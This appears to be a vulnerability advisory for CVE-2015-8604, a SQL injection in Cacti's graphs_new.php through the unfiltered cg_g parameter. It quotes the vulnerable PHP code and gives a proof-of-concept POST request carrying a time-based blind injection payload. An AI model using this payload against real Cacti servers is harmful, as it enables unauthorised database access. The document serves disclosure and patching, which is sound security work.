[CVE-2015-8604] Cacti SQL injection in graphs_new.php

["changzhao.mao () dbappsecurity com cn" <changzhao.mao () dbappsecurity com cn>]

Application: Cacti 
Vendor URL: http://www.cacti.net 
Bugs: SQL injection 
Author:changzhao.mao(DBAPPSecurity Ltd) 
Version affected: 0.8.8f and prior
================================
Introduction
================================
  Cacti is a complete frontend to RRDTool, it stores all of the necessary information to create graphs and populate 
them with data in a MySQL database. The frontend is completely PHP driven. Along with being able to maintain Graphs, 
Data Sources, and Round Robin Archives in a database, cacti handles the data gathering. There is also SNMP support for 
those used to creating traffic graphs with MRTG.  SQL  injection vulnerabilities has been discovered.The vulnerability 
allows any users  to execute own sql commands to compromise the web-applicaation or database management system.  SQL 
injection Vulnerability has been discovered in Cacti(0.8.8f) and prior , which  can be exploited by any user to conduct 
SQL Injection attacks.A patch has been released http://bugs.cacti.net/file_download.php?file_id=1201&type=bug .
================================
[Vulnerability info]
================================

in graphs_new.php , trace parameter cg_g

function form_save() {
    if (isset($_POST["save_component_graph"])) {
        /* summarize the 'create graph from host template/snmp index' stuff into an array */
        while (list($var, $val) = each($_POST)) {
            if (preg_match('/^cg_(\d+)$/', $var, $matches)) {
                $selected_graphs["cg"]{$matches[1]}{$matches[1]} = true;
            
            //cg_g is not filtered
            
            }elseif (preg_match('/^cg_g$/', $var)) {
                if ($_POST["cg_g"] > 0) {
                    $selected_graphs["cg"]{$_POST["cg_g"]}{$_POST["cg_g"]} = true;
                }
            }elseif (preg_match('/^sg_(\d+)_([a-f0-9]{32})$/', $var, $matches)) {
                $selected_graphs["sg"]{$matches[1]}{$_POST{"sgg_" . $matches[1]}}{$matches[2]} = true;
            }
        }

        if (isset($selected_graphs)) {
            host_new_graphs($_POST["host_id"], $_POST["host_template_id"], $selected_graphs);
            exit;
        }

        header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);
    }

    if (isset($_POST["save_component_new_graphs"])) {
        host_new_graphs_save();

        header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);
    }
}


function host_new_graphs($host_id, $host_template_id, $selected_graphs_array) {
    /* we use object buffering on this page to allow redirection to another page if no
    fields are actually drawn */
    ob_start();

    include_once("./include/top_header.php");

    print "<form method='post' action='graphs_new.php'>\n";

    $snmp_query_id = 0;
    $num_output_fields = array();

    while (list($form_type, $form_array) = each($selected_graphs_array)) {
        while (list($form_id1, $form_array2) = each($form_array)) {
            if ($form_type == "cg") {
                $graph_template_id = $form_id1;
                //sql injection in graph_template_id
                html_start_box("<strong>Create Graph from '" . db_fetch_cell("select name from graph_templates where 
id=$graph_template_id") . "'", "100%", "", "3", "center", "");
            }elseif ($form_type == "sg") {
                while (list($form_id2, $form_array3) = each($form_array2)) {
                    /* ================= input validation ================= */
                    input_validate_input_number($snmp_query_id);
                    /* ==================================================== */

                    $snmp_query_id = $form_id1;
                    $snmp_query_graph_id = $form_id2;
                    
                    
================================
[Exploit]
================================
POC:

POST /cacti/graphs_new.php HTTP/1.1
Host: 192.168.217.133
Content-Type: application/x-www-form-urlencoded
Cookie: 1c4af7f2e90e3a789e67a8e3acd2372f=8a83va6ijomgf7qdgfpcl8l1p2; Cacti=j8chtc1ppq4n7viqkbah6c4tv2
Content-Length: 189
__csrf_magic=sid%3Aed226a87fdcc8e055d1c27b620e564d629d95e40%2C1450241184&cg_g=033926697+xor+(select(0)from(select 
sleep(5))v)&save_component_graph=1&host_id=2&host_template_id=0&action=save   



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